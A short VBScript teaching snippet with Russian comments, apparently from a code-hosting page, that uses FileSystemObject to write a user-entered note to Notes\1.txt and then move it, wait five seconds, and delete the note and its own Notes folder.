myText.Close 'Закрываем TextStream, нам он больше не нужен.
|
||||||
|
|
||||||
|
Set myText = FSO.OpenTextFile("Notes\1.txt",2,False,-1) 'Открываем текстовый файл 1.txt в режиме запись (2), с кодировкой Unicode (-1)
|
||||||
|
myText.WriteLine(InputBox("Введите текст новой секретной заметки", "Заметки")) 'записываем текст
|
||||||
|
MsgBox "Записано! Читай!" 'оповещаем об этом пользователя
|
||||||
|
Rem MsgBox myText.ReadAll() 'чтение не работает, т.к. мы открыли в режиме (2).
|
||||||
|
myText.Close 'закрываем поток
|
||||||
|
|
||||||
|
FSO.MoveFile "Notes\1.txt", "2.txt" 'перемещаем файл
|
||||||
|
WScript.Sleep 5000 'ждём 5000мс=5сек
|
||||||
|
FSO.DeleteFile "2.txt" 'удаляем эту конфиденциальную заметку
|
||||||
|
FSO.DeleteFolder "Notes", True 'удаляем всю папку, даже если там файлы с read-only
|
Loading…
Add table
Reference in a new issue